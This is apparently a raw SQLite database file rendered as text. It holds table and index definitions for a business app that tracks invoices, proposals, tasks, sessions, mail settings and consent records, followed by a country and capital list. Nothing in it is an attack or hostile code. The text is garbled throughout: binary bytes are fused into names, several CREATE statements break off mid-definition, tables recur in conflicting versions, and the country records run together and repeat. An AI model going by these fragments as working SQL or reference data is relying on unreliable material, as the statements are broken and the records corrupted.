INDEX "project_time_logs_edited_by_user_foreign" on "project_time_logs" ("edited_by_user")9M/3indexproject_time_logs_end_time_indexproject_time_logsCREATE INDEX "project_time_logs_end_time_index" on "project_time_logs" ("end_time")M>O/3indexproject_time_logs_user_id_foreignproject_time_logsCREATE INDEX "project_time_logs_user_id_foreign" on "project_time_logs" ("user_id")?Q/;indexproject_time_logs_start_time_indexproject_time_logsCREATE INDEX "project_time_logs_start_time_index" on "project_time_logs" ("start_time")gO/3indexproject_time_logs_user_id_foreignproject_time_logsCREATE INDEX "project_time_logs_useCKk;kindexproject_time_log_breaks_last_updated_by_foreignproject_time_log_breaksCREATE INDEX "project_time_log_breaks_last_updated_by_foreign" on "project_time_log_breaks" ("last_updated_by")   RWutableinvoicesinvoicesCREATE TABLE invoices (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, project_id INTEGER DEFAULT NULL, client_id INTEGER DEFAULT NULL, order_id INTEGER DEFAULT NULL, currency_id INTEGER DEFAULT NULL, estimate_id INTEGER DEFAULT NULL, parent_id INTEGER DEFAULT NULL, invoice_recurring_id INTEGER DEFAULT NULL, created_by INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, company_address_id INTEGER DEFAULT NULL, invoice_number VARCHAR(191) NOT NULL, issue_date DATE NOT NULL, due_date DATE NOT NULL, sub_total DOUBLE PRECISION NOT NULL, discount)l!!tabletask_notestask_notesGCREATE TABLE task_notes (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, task_id INTEGER NOT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, user_id INTEGER DEFAULT NULL, note CLOB DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (task_id) REFERENCES tasks (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)}kG'indextask_comments_user_id_foreigntask_comments6CREATE INDEX task_comments_user_id_foreign ON task_comments (user_id) I+indexinvoices_transaction_id_uniqueinvoicesCREATE UNIQUE INDEX invoices_transaction_id_unique ON invoices (transaction_id)w5indexIDX_6A2F2F95979B1AD6invoicesCREATE INDEX IDX_6A2F2F95979B1AD6 ON invoices (company_id)Cindexinvoices_project_id_foreigninvoicesCREATE INDEX invoices_project_id_foreign ON invoices (project_id)A indexinvoices_client_id_foreigninvoicesCREATE INDEX invoices_client_id_foreign ON invoices (client_id))?indexinvoices_order_id_foreigni}jG'indextask_comments_task_id_foreigntask_comments5CREATE INDEX task_comments_task_id_foreign ON task_comments (task_id)iI'indextask_comments_added_by_foreigntask_comments4CREATE INDEX task_comments_added_by_foreign ON task_comments (added_by)hW'7indextask_comments_last_updated_by_foreigntask_comments3CREATE INDEX task_comments_last_updated_by_foreign ON task_comments (last_updated_by)!g''tabletask_commentstask_comments2CREATE TABLE task_comments (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, user_id INTEGER NOT NULL, task_id INTEGER NOT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, comment CLOB NOT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (task_id) REFERENCES tasks (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (user_id) REFERENCES users (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)A indexestimates_added_by_foreignestimatesCREATE INDEX estimates_added_by_foreign ON estimates (added_by)7O'indexestimates_last_updated_by_foreignestimatesCREATE INDEX estimates_last_updated_by_foreign ON estimates (last_updated_by)caindexestimates_estimate_number_company_id_uniqueestimatesCREATE UNIQUE INDEX estimates_estimate_number_company_id_unique ON estimates (estimate_number, company_id)fO5indexIDX_85B8B0EE979B1AD6estimatesCREATE INDEX IDX_85B8B0EE979B1AD6 ON estimates (company_id)Cindexestimates_client_id_foreignestimatesCREATE INDEX estimates_client_id_foreign ON estimates (client_id){Gindexestimates_currency_id_foreignestimatesCREATE INDEX estimates_currency_id_foreign ON estimates (currency_id)            ' U i aOtableproposalsproposalsCREATE TABLE "proposals" ("id" integer primary key autoincrement not null, "company_id" integer, "lead_id" integer not null, "valid_till" date not null, "sub_total" float not null, "total" float not null, "currency_id" integer, "discount_type" varchar check ("discount_type" in ('percent', 'fixed')) not null, "discount" float not null, "invoice_convert" tinyint(1) not null default '0', "status" varchar check ("status" in ('declined', 'accepted', 'waiting')) not null default 'waiting', "note" text, "description" text, "client_comment" text, "signature_approval" tinyint(1) not null default '1', "added_by" integer, "last_updated_by" integer, "hash" text, "calculate_tax" varchar check ("calculate_tax" in ('after_discount', 'before_discount')) not null default 'after_discount', "created_at" datetime, "updated_at" datetime, "last_viewed" datetime, "ip_address" varchar, "unit_id" integer, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("currency_id") references "currencies"("id") on delete CASCADE on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("lead_id") references "leads"("id") on delete CASCADE on update CASCADE)qX))tableproposal_signsproposal_signsCREATE TABLE "proposal_signs" ("id" integer primary key autoincrement not null, "proposal_id" integer not null, "full_name" varchar not null, "email" varchar not null, "signature" varchar, "created_at" datetime, "updated_at" datetime, foreign key("proposal_id") references "proposals"("id") on delete CASCADE on update CASCADE)))tableproposal_itemsproposal_itemsCREATE TABLE "proposal_items" ("id" integer primary key autoincrement not null, "proposal_id" integer not null, "item_name" varchar not null, "type" varchar check ("type" in ('item', 'discount', 'tax')) not null default 'item', "quantity" float not null, "unit_price" float not null, "amount" float not null, "item_summary" text, "taxes" varchar, "hsn_sac_code" varchar, "created_at" datetime, "updated_at" datetime, foreign PT))Ytableproposal_itemsproposal_itemsCREATE TABLE "proposal_items" ("id" integer primary key autoincrement not null, "proposal_id" integer not null, "item_name" varchar not null, "type" varchar check ("type" in ('item', 'discount', 'tax')) not null default 'item', "quantity" float not null, "unit_price" float not null, "amount" float not null, "item_summary" text, "taxes" varchar, "hsn_sac_code" varchar, "created_at" datetime, "updated_at" datetime, "unit_id" integer, "product_id" integer, foreign key("proposal_id") references "proposals"("id") on delete CASCADE on update CASCADE)[/Na1Windexproject_user_notes_project_note_id_foreignproject_user_notesCREATE INDEX "project_user_notes_project_note_id_foreign" on "project_user_notes" ("project_note_id"):Wg5cindexproposal_item_images_proposal_item_id_foreignproposal_item_imagesCREATE INDEX "proposal_item_images_proposal_item_id_foreign" on "proposal_item_images" ("proposal_item_id")V55_tableproposal_item_imagesproposal_item_imagesCREATE TABLE "proposal_item_images" ("id" integer primary key autoincrement not null, "proposal_item_id" integer not null, "filename" varchar not null, "hashname" varchar, "size" varchar, "external_link" varchar, "created_at" datetime, "updated_at" datetime, foreign key("proposal_item_id") references "proposal_items"("id") on delete CASCADE on update CASCADE)UQ)7indexproposal_items_proposal_id_foreignproposal_itemsCREATE INDEX "proposal_items_proposal_id_foreign" on "proposal_items" ("proposal_id")     rpCindexinvoices_project_id_foreigninvoices CREATE INDEX invoices_project_id_foreign ON invoices (project_id)do5indexIDX_6A2F2F95979B1AD6invoices CREATE INDEX IDX_6A2F2F95979B1AD6 ON invoices (company_id)nI+indexinvoices_transaction_id_uniqueinvoices CREATE UNIQUE INDEX invoices_transaction_id_unique ON invoices (transaction_id)9mCtableinvoicesinvoicesCREATE TABLE invoices (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULLitableproposalsproposalsCREATE TABLE proposals (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, lead_id INTEGER NOT NULL, currency_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_upd8Y-;indexemployee_details_department_id_foreignemployee_detailsCREATE INDEX employee_details_department_id_foreign ON employee_details (department_id)3[-?indexemployee_details_designation_id_foreignemployee_detailsCREATE INDEX employee_details_designation_id_foreign ON employee_details (designation_id)O-'indexemployee_details_added_by_foreignemployee_detailsCREATE INDEX employee_details_added_by_foreign ON employee_details (added_by)]-Cindexemployee_details_last_updated_by_foreignemployee_detailsCREATE INDEX employee_details_last_updated_by_foreign ON employee_details (last_updated_by)\W-7indexemployee_details_reporting_to_foreignemployee_detailsCREATE INDEX employee_details_reporting_to_foreign ON employee_details (reporting_to)i-mindexemployee_details_employee_id_company_id_uniqueemployee_detailsCREATE UNIQUE INDEX employee_details_employee_id_company_id_unique ON employee_details (employee_id, company_id)0W'Cindexinvoice_files_last_updated_by_foreigninvoice_filesCREATE INDEX "invoice_files_last_updated_by_foreign" on "invoice_files" ("last_updated_by")/I''indexinvoice_files_added_by_foreigninvoice_filesCREATE INDEX "invoice_files_added_by_foreign" on "invoice_files" ("added_by") .M'/indexinvoice_files_invoice_id_foreigninvoice_filesCREATE INDEX "invoice_files_invoice_id_foreign" on "invoice_files" ("invoice_id"):-''1tableinvoice_filesinvoice_filesCREATE TABLE "invoice_files" ("id" integer primary key autoincrement not null, "invoice_id" integer not null, "added_by" integer, "last_updated_by" integer, "filename" varchar, "hashname" varchar, "size" varchar, "created_at" datetime, "updated_at" datetime, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("invoice_id") references "invoices"("id") on delete CASCADE on update CASCADE)$,''tablemention_usersmention_usersCREATE TABLE "mention_users" ("id" integer primary key autoincrement not null, "task_comment_id" integer, "task_note_id" integer, "task_id" integer, "project_id" integer, "project_note_id" integer, "discussion_id" integer, "user_id" integer, "discussion_reply_id" integer, "created_at" datetime, "updated_at" datetime, "ticket_id" integer, "event_id" integer, "user_chat_id" integer, foreign key("task_comment_id") references "task_comments"("id") on delete cascade on update cascade, foreign key("task_note_id") references "task_notes"("id") on delete cascade on update cascade, foreign key("task_id") references "tasks"("id") on delete cascade on update cascade, foreign key("project_id") references "projects"("id") on delete cascade on update cascade, foreign key("project_note_id") references "project_notes"("id") on delete cascade on update cascade, foreign key("discussion_id") references "discussions"("id") on delete cascade on update cascade, foreign key("user_id") references "users"("id") on delete cascade on update cascade, foreign key("discussion_reply_id") references "discussion_replies"("id") on delete cascade on update cascade)w3/indexIDX_9C3F371979B1AD6invoice_recurringCREATE INDEX IDX_9C3F371979B1AD6 ON invoice_recurring (company_id)          Y>% m E RYEc5bc7[indexpurpose_consent_users_updated_by_id_foreignpurpose_consent_users CREATE INDEX "purpose_fQ1GieM13indexpush_subscriptions_user_id_indexpush_subscriptionsCREATE INDEX "push_subscriptions_user_id_index" on "push_subscriptions" ("user_id")ad11ktablepush_subscriptionspush_subscriptionsCREATE TABLE "push_subscriptions" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer not null, "endpoint" varchar not null, "public_key" varchar, "auth_token" varchar, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("user_id") references "users"("id") on delete CASCADE on update NO ACTION)YQ)7indexproposal_signs_proposal_id_foreignproposal_signsCREATE INDEX "proposal_signs_proposal_id_foreign" on "proposal_signs" ("proposal_id")ycAA{tablepush_notification_settingspush_notification_settingsCREATE TABLE "push_notification_settings" ("id" integer primary key autoincrement not null, "onesignal_app_id" text, "onesignal_rest_api_key" text, "notification_logo" varchar, "status" varchar check ("status" in ('active', 'inactive')) not null default 'inactive', "created_at" datetime, "updated_at" datetime)5bc7[indexpurpose_consent_users_updated_by_id_foreignpurpose_consent_users CREATE INDEX "purpose_consent_users_updated_by_id_foreign" on "purpose_consent_users" ("updated_by_id")Dam7oindexpurpose_consent_users_purpose_consent_id_foreignpurpose_consent_users CREATE INDEX "purpose_consent_users_purpose_consent_id_foreign" on "purpose_consent_users" ("purpose_consent_id"))`[7Kindexpurpose_consent_users_client_id_foreignpurpose_consent_users CREATE INDEX "purpose_consent_users_client_id_foreign" on "purpose_consent_users" ("client_id")A_77tablepurpose_consent_userspurpose_consent_users CREATE TABLE "purpose_consent_users" ("id" integer primary key autoincrement not null, "client_id" integer not null, "purpose_consent_id" integer not null, "status" varchar check ("status" in ('agree', 'disagree')) not null default 'agree', "ip" varchar, "updated_by_id" integer not null, "additional_description" text, "created_at" datetime, "updated_at" datetime, foreign key("client_id") references "users"("id") on delete CASCADE on update CASCADE, foreign key("purpose_consent_id") references "purpose_consent"("id") on delete CASCADE on update CASCADE, foreign key("updated_by_id") references "users"("id") on delete CASCADE on update CASCADE)5^c7[indexpurpose_consent_leads_updated_by_id_foreignpurpose_consent_leads CREATE INDEX "purpose_consent_leads_updated_by_id_foreign" on "purpose_consent_leads" ("updated_by_id")D]m7oindexpurpose_consent_leads_purpose_consent_id_foreignpurpose_consent_leadsCREATE INDEX "purpose_consent_leads_purpose_consent_id_foreign" on "purpose_consent_leads" ("purpose_consent_id")#\W7Cindexpurpose_consent_leads_lead_id_foreignpurpose_consent_leadsCREATE INDEX "purpose_consent_leads_lead_id_foreign" on "purpose_consent_leads" ("lead_id")4[77tablepurpose_consent_leadspurpose_consent_leadsCREATE TABLE "purpose_consent_leads" ("id" integer primary key autoincrement not null, "lead_id" integer not null, "purpose_consent_id" integer not null, "status" varchar check ("status" in ('agree', 'disagree')) not null default 'agree', "ip" varchar, "updated_by_id" integer, "additional_description" text, "created_at" datetime, "updated_at" datetime, foreign key("lead_id") references "leads"("id") on delete CASCADE on update CASCADE, foreign key("purpose_consent_id") references "purpose_consent"("id") on delete CASCADE on update CASCADE, foreign key("updated_by_id") references "users"("id") on delete CASCADE on update CASCADE)WZ++ctablepurpose_consentpurpose_consentCREATE TABLE "purpose_consent" ("id" integer primary key autoincrement not null, "name" varchar not null, "description" text, "created_at" datetime, "updated_at" datetime)             ] Y + ck\ /Xrtablesessi0sCindexsqlite_autoindex_sessions_1sessionsXrtablesessionssessionsCREATE TABLE "sessions" ("id" varchar not null, "user_id" integer, "ip_address" varchar, "user_agent" text, "payload" text not null, "last_activity" integer not null, primary key ("id"))sq?indexrole_user_role_id_foreignrole_userCREATE INDEX "role_user_role_id_foreign" on "role_user" ("role_id")2pEindexsqlite_autoindex_role_user_1role_user?oKtablerole_userrole_userCREATE TABLE "role_user" ("user_id" integer not null, "role_id" integer not null, foreign key("role_id") references "roles"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE, primary key ("user_id", "role_id"))eM13indexpush_subscriptions_user_id_indexpush_subscriptionsCREATE INDEX "push_subscriptions_user_id_index" on "push_subscriptions" ("user_id")#nW7Cindexremoval_requests_lead_lead_id_foreignremoval_requests_leadCREATE INDEX "removal_requests_lead_lead_id_foreign" on "removal_requests_lead" ("lead_id")5m77tableremoval_requests_leadremoval_requests_leadCREATE TABLE "removal_requests_lead" ("id" integer primary key autoincrement not null, "company_id" integer, "name" varchar not null, "description" varchar not null, "lead_id" integer, "status" varchar check ("status" in ('pending', 'approved', 'rejected')) not null default 'pending', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("lead_id") references "leads"("id") on delete SET NULL on update CASCADE)lM-/indexremoval_requests_user_id_foreignremoval_requestsCREATE INDEX "removal_requests_user_id_foreign" on "removal_requests" ("user_id")&k--}tableremoval_requestsremoval_requestsCREATE TABLE "removal_requests" ("id" integer primary key autoincrement not null, "company_id" integer, "name" varchar not null, "description" varchar not null, "user_id" integer, "status" varchar check ("status" in ('pending', 'approved', 'rejected')) not null default 'pending', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("user_id") references "users"("id") on delete SET NULL on update CASCADE)jU+?indexquotation_items_quotation_id_foreignquotation_itemsCREATE INDEX "quotation_items_quotation_id_foreign" on "quotation_items" ("quotation_id")5i++tablequotation_itemsquotation_itemsCREATE TABLE "quotation_items" ("id" integer primary key autoincrement not null, "quotation_id" integer not null, "item_name" varchar not null, "quantity" integer not null, "unit_price" integer not null, "amount" float not null, "hsn_sac_code" varchar, "created_at" datetime, "updated_at" datetime, foreign key("quotation_id") references "quotations"("id") on delete CASCADE on update CASCADE)Eh!!StablequotationsquotationsCREATE TABLE "quotations" ("id" integer primary key autoincrement not null, "company_id" integer, "business_name" varchar not null, "client_name" varchar not null, "client_email" varchar not null, "phone" varchar, "address" text, "sub_total" float not null, "total" float not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade),g++ tablepusher_settingspusher_settingsCREATE TABLE "pusher_settings" ("id" integer primary key autoincrement not null, "pusher_app_id" varchar, "pusher_app_key" varchar, "pusher_app_secret" varchar, "pusher_cluster" varchar, "force_tls" tinyint(1) not null, "status" tinyint(1) not null, "taskboard" tinyint(1) not null default '1', "messages" tinyint(1) not null default '0', "created_at" datetime, "updated_at" datetime)Q1Gindexpush_subscriptions_endpoint_uniquepush_subscriptionsCREATE UNIQUE INDEX "push_subscriptions_endpoint_unique" on "push_subscriptions" ("endpoint")                + p G111Hw''Mtablesmtp_settingssmtp_settings$CREATE TABLE "smtp_settings" ("id" integer primary key autoincrement not null, "mail_driver" varchar not null default 'smtp', "mail_host" varchar not null default 'smtp.gmail.com', "mail_port" varchar not null default '587', "mail_username" varchar not null default 'youremail@gmail.com', "mail_password" varchar not null default 'your password', "mail_from_name" varchar not null default 'your name', "mail_from_email" varchar not null default 'from@email.com', "mail_encryption" varchar check ("mail_encryption" in ('tls', 'ssl', 'starttls')) default 'tls', "verified" tinyint(1) not null default '0', "mail_connection" varchar check ("mail_connection" in ('sync', 'database')) not null default 'sync', "created_at" datetime, "updated_at" datetime, "email_verified" tinyint(1) not null default '0')0sCindexsqlite_autoindex_sessions_1sessionsXrtablesessionssessionsCREATE TABLE "sessions" ("id" varchar not null, "user_id" integer, "ip_address" varchar, "user_agent" text, "payload" text not null, "last_activity" integer not null, primary key ("id"))sq?indexrole_user_role_id_foreignrole_userCREATE INDEX "role_user_role_id_foreign" on "role_user" ("role_id")z%%etablesticky_notessticky_notes'CREATE TABLE "sticky_notes" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer not null, "note_text" text not null, "colour" varchar check ("colour" in ('blue', 'yellow', 'red', 'gray', 'purple', 'green')) not null default 'blue', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)`ytablesocialssocials&CREATE TABLE "socials" ("id" integer primary key autoincrement not null, "user_id" integer, "social_id" text not null, "social_service" text not null, "created_at" datetime, "updated_at" datetime)E55#tablesocial_auth_settingssocial_auth_settings%CREATE TABLE "social_auth_settings" ("id" integer primary key autoincrement not null, "facebook_client_id" varchar, "facebook_secret_id" varchar, "facebook_status" varchar check ("facebook_status" in ('enable', 'disable')) not null default 'disable', "google_client_id" varchar, "google_secret_id" varchar, "google_status" varchar check ("google_status" in ('enable', 'disable')) not null default 'disable', "twitter_client_id" varchar, "twitter_secret_id" varchar, "twitter_status" varchar check ("twitter_status" in ('enable', 'disable')) not null default 'disable', "linkedin_client_id" varchar, "linkedin_secret_id" varchar, "linkedin_status" varchar check ("linkedin_status" in ('enable', 'disable')) not null default 'disable', "created_at" datetime, "updated_at" datetime)v))utableslack_settingsslack_settings"CREATE TABLE "slack_settings" ("id" integer primary key autoincrement not null, "company_id" integer, "slack_webhook" text, "slack_logo" varchar, "status" varchar check ("status" in ('active', 'inactive')) not null default 'inactive', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)}uE#indexsessions_last_activity_indexsessions!CREATE INDEX "sessions_last_activity_index" on "sessions" ("last_activity")kt9 indexsessions_user_id_indexsessions CREATE INDEX "sessions_user_id_index" on "sessions" ("user_id")         q  k yq' Z Z Z Z G G'#indextask_comments_task_id_foreigntask_comments4CREATE INDEX "task_comments_task_id_foreign" on "task_comments" ("task_id")G'#indextask_comments_user_id_foreigntask_comments3CREATE INDEX "task_comments_user_id_foreign" on "task_comments" ("user_id") q''Ctabletask_commentstask_comments2CREATE TABLE "task_comments" ("id" integer primary key autoincrement not null, "comment" text not null, "user_id" integer not null, "task_id" integer not null, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("task_id") references "tasks"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)Q)7indexsub_task_files_sub_task_id_foreignsub_task_files1CREATE INDEX "sub_task_files_sub_task_id_foreign" on "sub_task_files" ("sub_task_id")I)'indexsub_task_files_user_id_foreignsub_task_files0CREATE INDEX "sub_task_files_user_id_foreign" on "sub_task_files" ("user_id")F))Etablesub_task_filessub_task_files/CREATE TABLE "sub_task_files" ("id" integer primary key autoincrement not null, "user_id" integer, "sub_task_id" integer not null, "filename" varchar not null, "description" text, "google_url" varchar, "hashname" varchar, "size" varchar, "dropbox_link" varchar, "external_link" varchar, "external_link_name" varchar, "created_at" datetime, "updated_at" datetime, foreign key("sub_task_id") references "sub_tasks"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE) O3indexsub_tasks_last_updated_by_foreignsub_tasks.CREATE INDEX "sub_tasks_last_updated_by_foreign" on "sub_tasks" ("last_updated_by")vAindexsub_tasks_added_by_foreignsub_tasks-CREATE INDEX "sub_tasks_added_by_foreign" on "sub_tasks" ("added_by")~G#indexsub_tasks_assigned_to_foreignsub_tasks+CREATE INDEX "sub_tasks_assigned_to_foreign" on "sub_tasks" ("assigned_to")s}?indexsub_tasks_task_id_foreignsub_tasks*CREATE INDEX "sub_tasks_task_id_foreign" on "sub_tasks" ("task_id")ktablesub_taskssub_tasks)CREATE TABLE "sub_task Q!7indextask_files_last_updated_by_foreigntask_files;CREATE INDEX "task_files_last_updated_by_foreign" on "task_files" ("last_updated_by")z C!indextask_files_added_by_foreigntask_files:CREATE INDEX "task_files_added_by_foreign" on "task_files" ("aW'Cindextask_comments_last_updated_by_foreigntask_comments6CREATE INDEX "task_comments_last_updated_by_foreign" on "task_comments" ("last_updated_by")I''indextask_comments_added_by_foreigntask_comments5CREATE INDEX "task_comments_added_by_foreign" on "task_comments" ("added_by")G'#indextask_comments_task_id_foreigntask_comments4CREATE INDEX "task_comments_task_id_foreign" on "task_comments" ("task_id"){E%indexsticky_notes_user_id_foreignsticky_notes(CREATE INDEX "sticky_notes_user_id_foreign" on "sticky_notes" ("user_id")|ktablesub_taskssub_tasks)CREATE TABLE "sub_tasks" ("id" integer primary key autoincrement not null, "task_id" integer not null, "title" text not null, "due_date" datetime, "start_date" date, "status" varchar check ("status" in ('incomplete', 'complete')) not null default 'incomplete', "assigned_to" integer, "added_by" integer, "last_updated_by" integer, "description" text, "created_at" datetime, "updated_at" datetime, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("assigned_to") references "users"("id") on delete CASCADE on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("task_id") references "tasks"("id") on delete CASCADE on update CASCADE)          5432        > G  ~2k}~E#indextask_labels_label_id_foreigntask_labelsECREATE INDEX "task_labels_label_id_foreign" on "task_labels" ("label_i~E#indextask_labels_label_id_foreigntask_labelsECREATE INDEX "task_labels_label_id_foreign" on "task_labels" ("label_id") ##]tabletask_labelstask_labelsDCREATE TABLE "task_labels" ("id" integer primary key autoincrement not null, "label_id" integer not null, "task_id" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("label_id") references "task_label_list"("id") on delete CASCADE on update CASCADE, foreign key("task_id") references "tasks"("id") on delete CASCADE on update CASCADE)W'Cindextask_comments_last_updated_by_foreigntask_comments6CREATE INDEX "task_comments_last_updated_by_foreign" on "task_comments" ("last_updated_by")Q+7indextask_label_list_project_id_foreigntask_label_listCCREATE INDEX "task_label_list_project_id_foreign" on "task_label_list" ("project_id")T++]tabletask_label_listtask_label_listBCREATE TABLE "task_label_list" ("id" integer primary key autoincrement not null, "company_id" integer, "project_id" integer, "label_name" varchar not null, "color" varchar, "description" varchar, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("project_id") references "projects"("id") on delete CASCADE on update CASCADE) M%/indextask_history_sub_task_id_foreigntask_history?CREATE INDEX "task_history_sub_task_id_foreign" on "task_history" ("sub_task_id")E%indextask_history_task_id_foreigntask_history>CREATE INDEX "task_history_task_id_foreign" on "task_history" ("task_id")%%ktabletask_historytask_historyNicosiacyEuropeCyprus'=!'WillemstadcwSouth AmericaCuraçao<'HavanacuNorth AmericaCuba;ZagrebhrEuropeCroatia(:'!San JosécrNorth AmericaCosta Rica!9%AvaruackOceaniaCook Islands8MoronikmAfricaComoros$7'BogotácoSouth AmericaColombia.6#;West IslandccAsiaCocos (Keeling) Islands5  /cpClipperton Island,4--Flying Fish CovecxAsiaChristmas Island3BeijingcnAsiaChina"2'SantiagoclSouth AmericaChile1N'DjamenatdAfricaChad0  +eaCeuta & Melilla0/  WceftaCentral European Free Trade Agreement,.=BanguicfAfricaCentral African Republic.-#')George TownkyNorth AmericaCayman Islands,  es-ctCatalonia+  )icCanary Islands!*'OttawacaNorth AmericaCanada)YaoundécmAfricaCameroon(!Phnom PenhkhAsiaCambodia'!PraiacvAfricaCabo Verde&BujumburabiAfricaBurundi%%#%OuagadougoubfAfricaBurkina Faso$SofiabgEuropeBulgaria0#3/Bandar Seri BegawanbnAsiaBrunei Darussalam6"%IDiego GarciaioAsiaBritish Indian Ocean Territory$!'BrasíliabrSouth AmericaBrazil   'bvBouvet IslandGaboronebwAfricaBotswana,9SarajevobaEuropeBosnia and Herzegovina?!'MKralendijkbqSouth AmericaBonaire, Sint Eustatius and Saba!'SucreboSouth AmericaBoliviaThimphubtAsiaBhutan$'HamiltonbmNorth AmericaBermuda!Porto-NovobjAfricaBenin#'BelmopanbzNorth AmericaBelizeBrusselsbeEuropeBelgiumMinskbyEuropeBelarus'!'BridgetownbbNorth AmericaBarbados!DhakabdAsiaBangladeshManamabhAsiaBahrain"'NassaubsNorth AmericaBahamas!BakuazAsiaAzerbaijanViennaatEuropeAustria CanberraauOceaniaAustralia(!-GeorgetownacAfricaAscension Island$ !'OranjestadawSouth AmericaAruba YerevanamAsiaArmenia* %'Buenos AiresarSouth AmericaArgentina2 !'3St. John'sagNorth AmericaAntigua and Barbuda   !aqAntarctica'!'The ValleyaiNorth AmericaAnguillaLuandaaoAfricaAngola%-Andorra la VellaadEuropeAndorra&)Pago PagoasOceaniaAmerican SamoaAlgiersdzAfricaAlgeriaTiranaalEuropeAlbania$'MariehamnaxEuropeAland Islands#KabulafAsiaYl lY2y]7 s V -  m J ~ F  q Q .  p W : ]@oK!m7gI!dK,}^J.yO#oH)l  OhmHeard Island and McDonald Islands(k)'Port-au-PrincehtNorth AmericaHaiti%j!'GeorgetowngySouth AmericaGuyana!i'BissaugwAfricaGuinea-BissauhConakrygnAfricaGuinea&g-Saint Peter PortggEuropeGuernsey,f)'Guatemala CitygtNorth AmericaGuatemalaeHagåtñaguOceaniaGuam*d#'!Basse-TerregpNorth AmericaGuadeloupe(c%'St. George'sgdNorth AmericaGrenada"b'NuukglNorth AmericaGreenlandaAthensgrEuropeGreece `GibraltargiEuropeGibraltar_AccraghAfricaGhana^BerlindeEuropeGermany]TbilisigeAsiaGeorgia\BanjulgmAfricaGambia[  es-gaGaliciaZ!LibrevillegaAfricaGabon?Y9CSaint-Pierre, RéuniontfAfricaFrench Southern Territories&X-PapeetepfOceaniaFrench Polynesia)W''CayennegfSouth AmericaFrench GuianaVParisfrEuropeFranceUHelsinkifiEuropeFinlandTSuvafjOceaniaFiji4SIPalikirfmOceaniaFederated States of Micronesia$R'TórshavnfoEuropeFaroe Islands,Q'-StanleyfkSouth AmericaFalkland IslandsP  euEurope!O#Addis AbabaetAfricaEthiopia&N-Lobamba, MbabaneszAfricaEswatiniMTallinneeEuropeEstoniaLAsmaraerAfricaEritrea%K/MalabogqAfricaEquatorial GuineaJLondongb-engEuropeEngland,I%'#San SalvadorsvNorth AmericaEl SalvadorHCairoegAfricaEgypt!G'QuitoecSouth AmericaEcuador4F''1Santo DomingodoNorth AmericaDominican Republic#E'RoseaudmNorth AmericaDominicaDDjiboutidjAfricaDjiboutiC  %dgDiego GarciaB!CopenhagendkEuropeDenmark6AMKinshasacdAfricaDemocratic Republic of the Congo(@%)YamoussoukrociAfricaCôte d'Ivoire"?)PragueczEuropeCzech Republic>NicosiacyEuropeCyprus'=!'WillemstadcwSouth AmericaCuraçao<'HavanacuNorth AmericaCuba;ZagrebhrEuropeCroatia(:'!San JosécrNorth AmericaCosta Rica!9%AvaruackOceaniaCook Islands8MoronikmAfricaComoros$7'BogotácoSouth AmericaColombia.6#;West IslandccAsiaCocos (Keeling) Islands5  /cpClipperton Island,4--Flying Fish CovecxAsiaChristmas Island3BeijingcnAsiaChina"2'SantiagoclSouth 